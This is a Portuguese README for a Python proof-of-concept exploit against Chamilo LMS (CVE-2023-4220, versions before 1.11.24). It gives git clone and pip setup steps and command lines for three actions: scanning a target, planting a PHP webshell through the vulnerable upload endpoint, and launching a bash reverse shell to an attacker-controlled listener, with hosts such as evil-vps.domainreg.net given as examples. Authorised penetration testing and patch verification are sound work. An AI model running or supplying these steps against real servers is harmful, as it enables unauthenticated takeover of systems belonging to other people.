
Este é um script escrito em Python que permite a exploração da falha de segurança do software LMS Chamilo descrita em CVE-2023-4220
Este é um script escrito em Python que permite a exploração da falha de segurança do software LMS do Chamilo descrita em CVE-2023-4220. O sistema é vulnerável nas versões anteriores a 1.11.24.
Clone o repositório para sua máquina e instale as dependências usando pip (é recomendado usar virtualenv para criar um ambiente e separar essas instalações das instalações globais)
git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc cd chamilo-lms-unauthenticated-rce-poc pip install -r requirements.txt
O script precisa da URL alvo com o caminho raiz do Chamilo (como http://example.com/chamilo, http://example.com ou http://chamilo.example.com) e de uma ação a ser executada (há três disponíveis: scan, webshell e revshell).
Esta ação verificará se o alvo é vulnerável tentando acessar o endpoint /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan
Esta ação criará um arquivo webshell PHP no endpoint vulnerável.
python3 main.py -u http://example.com/chamilo -a webshell
Esta ação criará e executará um arquivo bash reverse shell. Para isso, um webshell será criado primeiro usando o mesmo método usado na ação anterior. Depois disso, alguns comandos serão executados para criar e executar o arquivo bash. Certifique-se de estar ouvindo na porta que você definiu com nc ou qualquer outro utilitário para realmente receber a conexão reversa. Além disso, o host pode ser um IPv4 interno/público válido (como 172.17.1.4 ou 186.227.4.31) ou o domínio que você registrou (como evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell